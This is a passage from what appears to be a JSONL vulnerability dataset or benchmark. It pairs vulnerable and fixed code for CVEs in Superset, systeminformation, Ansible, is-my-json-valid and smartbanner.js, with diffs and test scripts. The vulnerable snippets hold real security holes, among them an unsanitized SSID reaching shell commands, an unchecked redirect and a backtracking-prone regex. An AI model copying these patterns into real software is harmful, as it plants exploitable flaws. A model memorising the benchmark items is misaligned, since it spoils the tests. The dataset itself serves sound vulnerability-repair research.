@expose(\"/shortner/\", methods=[\"POST\"])\n    def shortner(self) -> FlaskResponse:  # pylint: disable=no-self-use\n        url = request.form.get(\"data\")\n        if not self._validate_url(url):\n            logger.warning(\"Invalid URL: %s\", url)\n            return Response(f\"Invalid URL: {url}\", 400)\n        obj = models.Url(url=url)\n        db.session.add(obj)\n        db.session.commit()\n        return Response(\n            \"{scheme}://{request.headers[Host]}/r/{obj.id}\".format(\n                scheme=request.scheme, request=request, obj=obj\n            ),\n            mimetype=\"text/plain\",\n        )"}], "vul_patch": "--- a/superset/views/redirects.py\n+++ b/superset/views/redirects.py\n@@ -1,6 +1,15 @@\n class R(BaseSupersetView):  # pylint: disable=invalid-name\n \n     \"\"\"used for short urls\"\"\"\n+\n+    @staticmethod\n+    def _validate_url(url: Optional[str] = None) -> bool:\n+        if url and (\n+            url.startswith(\"//superset/dashboard/\")\n+            or url.startswith(\"//superset/explore/\")\n+        ):\n+            return True\n+        return False\n \n     @event_logger.log_this\n     @expose(\"/<int:url_id>\")\n@@ -11,8 +20,9 @@\n             if url.url.startswith(explore_url):\n                 explore_url += f\"r={url_id}\"\n                 return redirect(explore_url[1:])\n-\n-            return redirect(url.url[1:])\n+            if self._validate_url(url.url):\n+                return redirect(url.url[1:])\n+            return redirect(\"/\")\n \n         flash(\"URL to nowhere...\", \"danger\")\n         return redirect(\"/\")\n@@ -22,6 +32,9 @@\n     @expose(\"/shortner/\", methods=[\"POST\"])\n     def shortner(self) -> FlaskResponse:  # pylint: disable=no-self-use\n         url = request.form.get(\"data\")\n+        if not self._validate_url(url):\n+            logger.warning(\"Invalid URL: %s\", url)\n+            return Response(f\"Invalid URL: {url}\", 400)\n         obj = models.Url(url=url)\n         db.session.add(obj)\n         db.session.commit()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-42810", "cve_description": "systeminformation is a System Information Library for Node.JS. Versions 5.0.0 through 5.21.6 have a SSID Command Injection Vulnerability. The problem was fixed with a parameter check in version 5.21.7. As a workaround, check or sanitize parameter strings that are passed to `wifiConnections()`, `wifiNetworks()` (string only).", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sebhildebrandt/systeminformation", "patch_url": ["https://github.com/sebhildebrandt/systeminformation/commit/7972565812ccb2a610a22911c54c3446f4171392"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_169_1", "commit": "d93a0ce", "file_path": "lib/wifi.js", "start_line": 530, "end_line": 676, "snippet": "function wifiConnections(callback) {\n\n  return new Promise((resolve) => {\n    process.nextTick(() => {\n      const result = [];\n\n      if (_linux) {\n        const ifaces = ifaceListLinux();\n        const networkList = getWifiNetworkListNmi();\n        ifaces.forEach(ifaceDetail => {\n          let ifaceSanitized = '';\n          const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(ifaceDetail.iface, true);\n          for (let i = 0; i <= util.mathMin(s.length, 2000); i++) {\n            if (s[i] !== undefined) {\n              ifaceSanitized = ifaceSanitized + s[i];\n            }\n          }\n\n          const nmiDetails = nmiDeviceLinux(ifaceSanitized);\n          const wpaDetails = wpaConnectionLinux(ifaceSanitized);\n          const ssid = nmiDetails.ssid || wpaDetails.ssid;\n          const network = networkList.filter(nw => nw.ssid === ssid);\n          const nmiConnection = nmiConnectionLinux(ssid);\n          const channel = network && network.length && network[0].channel ? network[0].channel : (wpaDetails.channel ? wpaDetails.channel : null);\n          const bssid = network && network.length && network[0].bssid ? network[0].bssid : (wpaDetails.bssid ? wpaDetails.bssid : null);\n          if (ssid && bssid) {\n            result.push({\n              id: ifaceDetail.id,\n              iface: ifaceDetail.iface,\n              model: nmiDetails.product,\n              ssid,\n              bssid: network && network.length && network[0].bssid ? network[0].bssid : (wpaDetails.bssid ? wpaDetails.bssid : null),\n              channel,\n              frequency: channel ? wifiFrequencyFromChannel(channel) : null,\n              type: nmiConnection.type ? nmiConnection.type : '802.11',\n              security: nmiConnection.security ? nmiConnection.security : (wpaDetails.security ? wpaDetails.security : null),\n              signalLevel: network && network.length && network[0].signalLevel ? network[0].signalLevel : null,\n              txRate: null\n            });\n          }\n        });\n        if (callback) {\n          callback(result);\n        }\n        resolve(result);\n      } else if (_darwin) {\n        let cmd = 'system_profiler SPNetworkDataType';\n        exec(cmd, function (error, stdout) {\n          const parts1 = stdout.toString().split('\\n\\n    Wi-Fi:\\n\\n');\n          if (parts1.length > 1) {\n            const lines = parts1[1].split('\\n\\n')[0].split('\\n');\n            const iface = util.getValue(lines, 'BSD Device Name', ':', true);\n            const model = util.getValue(lines, 'hardware', ':', true);\n            cmd = '/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I';\n            exec(cmd, function (error, stdout) {\n              const lines2 = stdout.toString().split('\\n');\n              if (lines.length > 10) {\n                const ssid = util.getValue(lines2, 'ssid', ':', true);\n                const bssid = util.getValue(lines2, 'bssid', ':', true);\n                const security = util.getValue(lines2, 'link auth', ':', true);\n                const txRate = util.getValue(lines2, 'lastTxRate', ':', true);\n                const channel = util.getValue(lines2, 'channel', ':', true).split(',')[0];\n                const type = '802.11';\n                const rssi = util.toInt(util.getValue(lines2, 'agrCtlRSSI', ':', true));\n                const noise = util.toInt(util.getValue(lines2, 'agrCtlNoise', ':', true));\n                const signalLevel = rssi - noise;\n                if (ssid || bssid) {\n                  result.push({\n                    id: 'Wi-Fi',\n                    iface,\n                    model,\n                    ssid,\n                    bssid,\n                    channel: util.toInt(channel),\n                    frequency: channel ? wifiFrequencyFromChannel(channel) : null,\n                    type,\n                    security,\n                    signalLevel,\n                    txRate\n                  });\n                }\n              }\n              if (callback) {\n                callback(result);\n              }\n              resolve(result);\n            });\n          } else {\n            if (callback) {\n              callback(result);\n            }\n            resolve(result);\n          }\n        });\n      } else if (_windows) {\n        let cmd = 'netsh wlan show interfaces';\n        util.powerShell(cmd).then(function (stdout) {\n          const allLines = stdout.toString().split('\\r\\n');\n          for (let i = 0; i < allLines.length; i++) {\n            allLines[i] = allLines[i].trim();\n          }\n          const parts = allLines.join('\\r\\n').split(':\\r\\n\\r\\n');\n          parts.shift();\n          parts.forEach(part => {\n            const lines = part.split('\\r\\n');\n            if (lines.length >= 5) {\n              const iface = lines[0].indexOf(':') >= 0 ? lines[0].split(':')[1].trim() : '';\n              const model = lines[1].indexOf(':') >= 0 ? lines[1].split(':')[1].trim() : '';\n              const id = lines[2].indexOf(':') >= 0 ? lines[2].split(':')[1].trim() : '';\n              const ssid = util.getValue(lines, 'SSID', ':', true);\n              const bssid = util.getValue(lines, 'BSSID', ':', true);\n              const signalLevel = util.getValue(lines, 'Signal', ':', true);\n              const type = util.getValue(lines, 'Radio type', ':', true) || util.getValue(lines, 'Type de radio', ':', true) || util.getValue(lines, 'Funktyp', ':', true) || null;\n              const security = util.getValue(lines, 'authentication', ':', true) || util.getValue(lines, 'Authentification', ':', true) || util.getValue(lines, 'Authentifizierung', ':', true) || null;\n              const channel = util.getValue(lines, 'Channel', ':', true) || util.getValue(lines, 'Canal', ':', true) || util.getValue(lines, 'Kanal', ':', true) || null;\n              const txRate = util.getValue(lines, 'Transmit rate (mbps)', ':', true) || util.getValue(lines, 'Transmission (mbit/s)', ':', true) || util.getValue(lines, 'Empfangsrate (MBit/s)', ':', true) || null;\n              if (model && id && ssid && bssid) {\n                result.push({\n                  id,\n                  iface,\n                  model,\n                  ssid,\n                  bssid,\n                  channel: util.toInt(channel),\n                  frequency: channel ? wifiFrequencyFromChannel(channel) : null,\n                  type,\n                  security,\n                  signalLevel,\n                  txRate: util.toInt(txRate) || null\n                });\n              }\n            }\n          });\n          if (callback) {\n            callback(result);\n          }\n          resolve(result);\n        });\n      } else {\n        if (callback) {\n          callback(result);\n        }\n        resolve(result);\n      }\n    });\n  });\n}"}], "fix_func": [{"id": "fix_js_169_1", "commit": "7972565", "file_path": "lib/wifi.js", "start_line": 530, "end_line": 684, "snippet": "function wifiConnections(callback) {\n\n  return new Promise((resolve) => {\n    process.nextTick(() => {\n      const result = [];\n\n      if (_linux) {\n        const ifaces = ifaceListLinux();\n        const networkList = getWifiNetworkListNmi();\n        ifaces.forEach(ifaceDetail => {\n          let ifaceSanitized = '';\n          const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(ifaceDetail.iface, true);\n          for (let i = 0; i <= util.mathMin(s.length, 2000); i++) {\n            if (s[i] !== undefined) {\n              ifaceSanitized = ifaceSanitized + s[i];\n            }\n          }\n\n          const nmiDetails = nmiDeviceLinux(ifaceSanitized);\n          const wpaDetails = wpaConnectionLinux(ifaceSanitized);\n          const ssid = nmiDetails.ssid || wpaDetails.ssid;\n          const network = networkList.filter(nw => nw.ssid === ssid);\n          let ssidSanitized = '';\n          const t = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(ssid, true);\n          for (let i = 0; i <= util.mathMin(t.length, 2000); i++) {\n            if (t[i] !== undefined) {\n              ssidSanitized = ssidSanitized + t[i];\n            }\n          }\n\n          const nmiConnection = nmiConnectionLinux(ssidSanitized);\n          const channel = network && network.length && network[0].channel ? network[0].channel : (wpaDetails.channel ? wpaDetails.channel : null);\n          const bssid = network && network.length && network[0].bssid ? network[0].bssid : (wpaDetails.bssid ? wpaDetails.bssid : null);\n          if (ssid && bssid) {\n            result.push({\n              id: ifaceDetail.id,\n              iface: ifaceDetail.iface,\n              model: nmiDetails.product,\n              ssid,\n              bssid: network && network.length && network[0].bssid ? network[0].bssid : (wpaDetails.bssid ? wpaDetails.bssid : null),\n              channel,\n              frequency: channel ? wifiFrequencyFromChannel(channel) : null,\n              type: nmiConnection.type ? nmiConnection.type : '802.11',\n              security: nmiConnection.security ? nmiConnection.security : (wpaDetails.security ? wpaDetails.security : null),\n              signalLevel: network && network.length && network[0].signalLevel ? network[0].signalLevel : null,\n              txRate: null\n            });\n          }\n        });\n        if (callback) {\n          callback(result);\n        }\n        resolve(result);\n      } else if (_darwin) {\n        let cmd = 'system_profiler SPNetworkDataType';\n        exec(cmd, function (error, stdout) {\n          const parts1 = stdout.toString().split('\\n\\n    Wi-Fi:\\n\\n');\n          if (parts1.length > 1) {\n            const lines = parts1[1].split('\\n\\n')[0].split('\\n');\n            const iface = util.getValue(lines, 'BSD Device Name', ':', true);\n            const model = util.getValue(lines, 'hardware', ':', true);\n            cmd = '/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I';\n            exec(cmd, function (error, stdout) {\n              const lines2 = stdout.toString().split('\\n');\n              if (lines.length > 10) {\n                const ssid = util.getValue(lines2, 'ssid', ':', true);\n                const bssid = util.getValue(lines2, 'bssid', ':', true);\n                const security = util.getValue(lines2, 'link auth', ':', true);\n                const txRate = util.getValue(lines2, 'lastTxRate', ':', true);\n                const channel = util.getValue(lines2, 'channel', ':', true).split(',')[0];\n                const type = '802.11';\n                const rssi = util.toInt(util.getValue(lines2, 'agrCtlRSSI', ':', true));\n                const noise = util.toInt(util.getValue(lines2, 'agrCtlNoise', ':', true));\n                const signalLevel = rssi - noise;\n                if (ssid || bssid) {\n                  result.push({\n                    id: 'Wi-Fi',\n                    iface,\n                    model,\n                    ssid,\n                    bssid,\n                    channel: util.toInt(channel),\n                    frequency: channel ? wifiFrequencyFromChannel(channel) : null,\n                    type,\n                    security,\n                    signalLevel,\n                    txRate\n                  });\n                }\n              }\n              if (callback) {\n                callback(result);\n              }\n              resolve(result);\n            });\n          } else {\n            if (callback) {\n              callback(result);\n            }\n            resolve(result);\n          }\n        });\n      } else if (_windows) {\n        let cmd = 'netsh wlan show interfaces';\n        util.powerShell(cmd).then(function (stdout) {\n          const allLines = stdout.toString().split('\\r\\n');\n          for (let i = 0; i < allLines.length; i++) {\n            allLines[i] = allLines[i].trim();\n          }\n          const parts = allLines.join('\\r\\n').split(':\\r\\n\\r\\n');\n          parts.shift();\n          parts.forEach(part => {\n            const lines = part.split('\\r\\n');\n            if (lines.length >= 5) {\n              const iface = lines[0].indexOf(':') >= 0 ? lines[0].split(':')[1].trim() : '';\n              const model = lines[1].indexOf(':') >= 0 ? lines[1].split(':')[1].trim() : '';\n              const id = lines[2].indexOf(':') >= 0 ? lines[2].split(':')[1].trim() : '';\n              const ssid = util.getValue(lines, 'SSID', ':', true);\n              const bssid = util.getValue(lines, 'BSSID', ':', true);\n              const signalLevel = util.getValue(lines, 'Signal', ':', true);\n              const type = util.getValue(lines, 'Radio type', ':', true) || util.getValue(lines, 'Type de radio', ':', true) || util.getValue(lines, 'Funktyp', ':', true) || null;\n              const security = util.getValue(lines, 'authentication', ':', true) || util.getValue(lines, 'Authentification', ':', true) || util.getValue(lines, 'Authentifizierung', ':', true) || null;\n              const channel = util.getValue(lines, 'Channel', ':', true) || util.getValue(lines, 'Canal', ':', true) || util.getValue(lines, 'Kanal', ':', true) || null;\n              const txRate = util.getValue(lines, 'Transmit rate (mbps)', ':', true) || util.getValue(lines, 'Transmission (mbit/s)', ':', true) || util.getValue(lines, 'Empfangsrate (MBit/s)', ':', true) || null;\n              if (model && id && ssid && bssid) {\n                result.push({\n                  id,\n                  iface,\n                  model,\n                  ssid,\n                  bssid,\n                  channel: util.toInt(channel),\n                  frequency: channel ? wifiFrequencyFromChannel(channel) : null,\n                  type,\n                  security,\n                  signalLevel,\n                  txRate: util.toInt(txRate) || null\n                });\n              }\n            }\n          });\n          if (callback) {\n            callback(result);\n          }\n          resolve(result);\n        });\n      } else {\n        if (callback) {\n          callback(result);\n        }\n        resolve(result);\n      }\n    });\n  });\n}"}], "vul_patch": "--- a/lib/wifi.js\n+++ b/lib/wifi.js\n@@ -20,7 +20,15 @@\n           const wpaDetails = wpaConnectionLinux(ifaceSanitized);\n           const ssid = nmiDetails.ssid || wpaDetails.ssid;\n           const network = networkList.filter(nw => nw.ssid === ssid);\n-          const nmiConnection = nmiConnectionLinux(ssid);\n+          let ssidSanitized = '';\n+          const t = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(ssid, true);\n+          for (let i = 0; i <= util.mathMin(t.length, 2000); i++) {\n+            if (t[i] !== undefined) {\n+              ssidSanitized = ssidSanitized + t[i];\n+            }\n+          }\n+\n+          const nmiConnection = nmiConnectionLinux(ssidSanitized);\n           const channel = network && network.length && network[0].channel ? network[0].channel : (wpaDetails.channel ? wpaDetails.channel : null);\n           const bssid = network && network.length && network[0].bssid ? network[0].bssid : (wpaDetails.bssid ? wpaDetails.bssid : null);\n           if (ssid && bssid) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3583", "cve_description": "A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/8aa850e3573e48c9a2f12aef84e8a3a6f5ba4847", "https://github.com/ansible/ansible/commit/03aff644cc1c00e1f7551195c68fbd0d13a39e6e", "https://github.com/ansible/ansible/commit/8b17e5b9229ffaecfe10a4881bc3f87dd2c184e1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_15_1", "commit": "c49092f", "file_path": "lib/ansible/template/__init__.py", "start_line": 812, "end_line": 914, "snippet": "    def do_template(self, data, preserve_trailing_newlines=True, escape_backslashes=True, fail_on_undefined=None, overrides=None, disable_lookups=False):\n        if USE_JINJA2_NATIVE and not isinstance(data, string_types):\n            return data\n\n        # For preserving the number of input newlines in the output (used\n        # later in this method)\n        data_newlines = _count_newlines_from_end(data)\n\n        if fail_on_undefined is None:\n            fail_on_undefined = self._fail_on_undefined_errors\n\n        try:\n            # allows template header overrides to change jinja2 options.\n            if overrides is None:\n                myenv = self.environment.overlay()\n            else:\n                myenv = self.environment.overlay(overrides)\n\n            # Get jinja env overrides from template\n            if hasattr(data, 'startswith') and data.startswith(JINJA2_OVERRIDE):\n                eol = data.find('\\n')\n                line = data[len(JINJA2_OVERRIDE):eol]\n                data = data[eol + 1:]\n                for pair in line.split(','):\n                    (key, val) = pair.split(':')\n                    key = key.strip()\n                    setattr(myenv, key, ast.literal_eval(val.strip()))\n\n            # Adds Ansible custom filters and tests\n            myenv.filters.update(self._get_filters())\n            myenv.tests.update(self._get_tests())\n\n            if escape_backslashes:\n                # Allow users to specify backslashes in playbooks as \"\\\\\" instead of as \"\\\\\\\\\".\n                data = _escape_backslashes(data, myenv)\n\n            try:\n                t = myenv.from_string(data)\n            except TemplateSyntaxError as e:\n                raise AnsibleError(\"template error while templating string: %s. String: %s\" % (to_native(e), to_native(data)))\n            except Exception as e:\n                if 'recursion' in to_native(e):\n                    raise AnsibleError(\"recursive loop detected in template string: %s\" % to_native(data))\n                else:\n                    return data\n\n            # jinja2 global is inconsistent across versions, this normalizes them\n            t.globals['dict'] = dict\n\n            if disable_lookups:\n                t.globals['query'] = t.globals['q'] = t.globals['lookup'] = self._fail_lookup\n            else:\n                t.globals['lookup'] = self._lookup\n                t.globals['query'] = t.globals['q'] = self._query_lookup\n\n            t.globals['now'] = self._now_datetime\n\n            t.globals['finalize'] = self._finalize\n\n            jvars = AnsibleJ2Vars(self, t.globals)\n\n            self.cur_context = new_context = t.new_context(jvars, shared=True)\n            rf = t.root_render_func(new_context)\n\n            try:\n                res = j2_concat(rf)\n                if getattr(new_context, 'unsafe', False):\n                    res = wrap_var(res)\n            except TypeError as te:\n                if 'AnsibleUndefined' in to_native(te):\n                    errmsg = \"Unable to look up a name or access an attribute in template string (%s).\\n\" % to_native(data)\n                    errmsg += \"Make sure your variable name does not contain invalid characters like '-': %s\" % to_native(te)\n                    raise AnsibleUndefinedVariable(errmsg)\n                else:\n                    display.debug(\"failing because of a type error, template data is: %s\" % to_text(data))\n                    raise AnsibleError(\"Unexpected templating type error occurred on (%s): %s\" % (to_native(data), to_native(te)))\n\n            if USE_JINJA2_NATIVE and not isinstance(res, string_types):\n                return res\n\n            if preserve_trailing_newlines:\n                # The low level calls above do not preserve the newline\n                # characters at the end of the input data, so we use the\n                # calculate the difference in newlines and append them\n                # to the resulting output for parity\n                #\n                # jinja2 added a keep_trailing_newline option in 2.7 when\n                # creating an Environment.  That would let us make this code\n                # better (remove a single newline if\n                # preserve_trailing_newlines is False).  Once we can depend on\n                # that version being present, modify our code to set that when\n                # initializing self.environment and remove a single trailing\n                # newline here if preserve_newlines is False.\n                res_newlines = _count_newlines_from_end(res)\n                if data_newlines > res_newlines:\n                    res += self.environment.newline_sequence * (data_newlines - res_newlines)\n            return res\n        except (UndefinedError, AnsibleUndefinedVariable) as e:\n            if fail_on_undefined:\n                raise AnsibleUndefinedVariable(e)\n            else:\n                display.debug(\"Ignoring undefined failure: %s\" % to_text(e))\n                return data"}], "fix_func": [{"id": "fix_py_15_1", "commit": "8aa850e", "file_path": "lib/ansible/template/__init__.py", "start_line": 1008, "end_line": 1106, "snippet": "    def do_template(self, data, preserve_trailing_newlines=True, escape_backslashes=True, fail_on_undefined=None, overrides=None, disable_lookups=False):\n        if USE_JINJA2_NATIVE and not isinstance(data, string_types):\n            return data\n\n        # For preserving the number of input newlines in the output (used\n        # later in this method)\n        data_newlines = _count_newlines_from_end(data)\n\n        if fail_on_undefined is None:\n            fail_on_undefined = self._fail_on_undefined_errors\n\n        try:\n            # allows template header overrides to change jinja2 options.\n            if overrides is None:\n                myenv = self.environment.overlay()\n            else:\n                myenv = self.environment.overlay(overrides)\n\n            # Get jinja env overrides from template\n            if hasattr(data, 'startswith') and data.startswith(JINJA2_OVERRIDE):\n                eol = data.find('\\n')\n                line = data[len(JINJA2_OVERRIDE):eol]\n                data = data[eol + 1:]\n                for pair in line.split(','):\n                    (key, val) = pair.split(':')\n                    key = key.strip()\n                    setattr(myenv, key, ast.literal_eval(val.strip()))\n\n            # Adds Ansible custom filters and tests\n            myenv.filters.update(self._get_filters())\n            for k in myenv.filters:\n                if not getattr(myenv.filters[k], '__UNROLLED__', False):\n                    myenv.filters[k] = _unroll_iterator(myenv.filters[k])\n            myenv.tests.update(self._get_tests())\n\n            if escape_backslashes:\n                # Allow users to specify backslashes in playbooks as \"\\\\\" instead of as \"\\\\\\\\\".\n                data = _escape_backslashes(data, myenv)\n\n            try:\n                t = myenv.from_string(data)\n            except TemplateSyntaxError as e:\n                raise AnsibleError(\"template error while templating string: %s. String: %s\" % (to_native(e), to_native(data)))\n            except Exception as e:\n                if 'recursion' in to_native(e):\n                    raise AnsibleError(\"recursive loop detected in template string: %s\" % to_native(data))\n                else:\n                    return data\n\n            if disable_lookups:\n                t.globals['query'] = t.globals['q'] = t.globals['lookup'] = self._fail_lookup\n\n            jvars = AnsibleJ2Vars(self, t.globals)\n\n            self.cur_context = new_context = t.new_context(jvars, shared=True)\n            rf = t.root_render_func(new_context)\n\n            try:\n                res = j2_concat(rf)\n                unsafe = getattr(new_context, 'unsafe', False)\n                if unsafe:\n                    res = wrap_var(res)\n            except TypeError as te:\n                if 'AnsibleUndefined' in to_native(te):\n                    errmsg = \"Unable to look up a name or access an attribute in template string (%s).\\n\" % to_native(data)\n                    errmsg += \"Make sure your variable name does not contain invalid characters like '-': %s\" % to_native(te)\n                    raise AnsibleUndefinedVariable(errmsg)\n                else:\n                    display.debug(\"failing because of a type error, template data is: %s\" % to_text(data))\n                    raise AnsibleError(\"Unexpected templating type error occurred on (%s): %s\" % (to_native(data), to_native(te)))\n\n            if USE_JINJA2_NATIVE and not isinstance(res, string_types):\n                return res\n\n            if preserve_trailing_newlines:\n                # The low level calls above do not preserve the newline\n                # characters at the end of the input data, so we use the\n                # calculate the difference in newlines and append them\n                # to the resulting output for parity\n                #\n                # jinja2 added a keep_trailing_newline option in 2.7 when\n                # creating an Environment.  That would let us make this code\n                # better (remove a single newline if\n                # preserve_trailing_newlines is False).  Once we can depend on\n                # that version being present, modify our code to set that when\n                # initializing self.environment and remove a single trailing\n                # newline here if preserve_newlines is False.\n                res_newlines = _count_newlines_from_end(res)\n                if data_newlines > res_newlines:\n                    res += self.environment.newline_sequence * (data_newlines - res_newlines)\n                    if unsafe:\n                        res = wrap_var(res)\n            return res\n        except (UndefinedError, AnsibleUndefinedVariable) as e:\n            if fail_on_undefined:\n                raise AnsibleUndefinedVariable(e)\n            else:\n                display.debug(\"Ignoring undefined failure: %s\" % to_text(e))\n                return data"}], "vul_patch": "--- a/lib/ansible/template/__init__.py\n+++ b/lib/ansible/template/__init__.py\n@@ -28,6 +28,9 @@\n \n             # Adds Ansible custom filters and tests\n             myenv.filters.update(self._get_filters())\n+            for k in myenv.filters:\n+                if not getattr(myenv.filters[k], '__UNROLLED__', False):\n+                    myenv.filters[k] = _unroll_iterator(myenv.filters[k])\n             myenv.tests.update(self._get_tests())\n \n             if escape_backslashes:\n@@ -44,18 +47,8 @@\n                 else:\n                     return data\n \n-            # jinja2 global is inconsistent across versions, this normalizes them\n-            t.globals['dict'] = dict\n-\n             if disable_lookups:\n                 t.globals['query'] = t.globals['q'] = t.globals['lookup'] = self._fail_lookup\n-            else:\n-                t.globals['lookup'] = self._lookup\n-                t.globals['query'] = t.globals['q'] = self._query_lookup\n-\n-            t.globals['now'] = self._now_datetime\n-\n-            t.globals['finalize'] = self._finalize\n \n             jvars = AnsibleJ2Vars(self, t.globals)\n \n@@ -64,7 +57,8 @@\n \n             try:\n                 res = j2_concat(rf)\n-                if getattr(new_context, 'unsafe', False):\n+                unsafe = getattr(new_context, 'unsafe', False)\n+                if unsafe:\n                     res = wrap_var(res)\n             except TypeError as te:\n                 if 'AnsibleUndefined' in to_native(te):\n@@ -94,6 +88,8 @@\n                 res_newlines = _count_newlines_from_end(res)\n                 if data_newlines > res_newlines:\n                     res += self.environment.newline_sequence * (data_newlines - res_newlines)\n+                    if unsafe:\n+                        res = wrap_var(res)\n             return res\n         except (UndefinedError, AnsibleUndefinedVariable) as e:\n             if fail_on_undefined:\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3583:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ansible\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook test/integration/targets/template/unsafe.yml -v\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3583:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/ansible\ngit apply --whitespace=nowarn /workspace/fix.patch\n# PYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook test/integration/targets/template/72262.yml test/integration/targets/template/6653.yml test/integration/targets/template/72615.yml -v\ncd test/integration/targets/template/\n# Test for several corner cases #57188\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook corner_cases.yml -v \"$@\"\n\n# Test for #57351\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook filter_plugins.yml -v \"$@\"\n\n# https://github.com/ansible/ansible/issues/68699\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook unused_vars_include.yml -v \"$@\"\n\n# https://github.com/ansible/ansible/issues/55152\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook undefined_var_info.yml -v \"$@\"\n\n# https://github.com/ansible/ansible/issues/72615\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook 72615.yml -v \"$@\"\n\n# https://github.com/ansible/ansible/issues/6653\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook 6653.yml -v \"$@\"\n\n# https://github.com/ansible/ansible/issues/72262\nPYTHONPATH=./lib /workspace/PoC_env/CVE-2021-3583/bin/ansible-playbook 72262.yml -v \"$@\"\n"}
{"cve_id": "CVE-2016-2537", "cve_description": "The is-my-json-valid package before 2.12.4 for Node.js has an incorrect exports['utc-millisec'] regular expression, which allows remote attackers to cause a denial of service (blocked event loop) via a crafted string.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mafintosh/is-my-json-valid", "patch_url": ["https://github.com/mafintosh/is-my-json-valid/commit/eca4beb21e61877d76fdf6bea771f72f39544d9b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_194_1", "commit": "822c581", "file_path": "formats.js", "start_line": 14, "end_line": 14, "snippet": "exports['utc-millisec'] = /^[0-9]+(\\.?[0-9]+)?$/"}], "fix_func": [{"id": "fix_js_194_1", "commit": "eca4beb", "file_path": "formats.js", "start_line": 14, "end_line": 14, "snippet": "exports['utc-millisec'] = /^[0-9]{1,15}\\.?[0-9]{0,15}$/"}], "vul_patch": "--- a/formats.js\n+++ b/formats.js\n@@ -1 +1 @@\n-exports['utc-millisec'] = /^[0-9]+(\\.?[0-9]+)?$/\n+exports['utc-millisec'] = /^[0-9]{1,15}\\.?[0-9]{0,15}$/\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-25300", "cve_description": "smartbanner.js is a customizable smart app banner for iOS and Android. Prior to version 1.14.1, clicking on smartbanner `View` link and navigating to 3rd party page leaves `window.opener` exposed. It may allow hostile third parties to abuse `window.opener`, e.g. by redirection or injection on the original page with smartbanner. `rel=\"noopener\"` is automatically populated to links as of `v1.14.1` which is a recommended upgrade to resolve the vulnerability. Some workarounds are available for those who cannot upgrade. Ensure `View` link is only taking users to App Store or Google Play Store where security is guarded by respective app store security teams. If `View` link is going to a third party page, limit smartbanner.js to be used on iOS that decreases the scope of the vulnerability since as of Safari 12.1,  `rel=\"noopener\"` is imposed on all `target=\"_blank\"` links. Version 1.14.1 of smartbanner.js contains a fix for the issue.", "cwe_info": {"CWE-79": {"name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users."}}, "repo": "https://github.com/ain/smartbanner.js", "patch_url": ["https://github.com/ain/smartbanner.js/commit/fce8c31dfe04033d9d005a89694d3e7a60784f89"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_276_1", "commit": "4b17597f3c82b6d94553d3b9d26d70e8f918123f", "file_path": "src/smartbanner.js", "start_line": 117, "end_line": 131, "snippet": 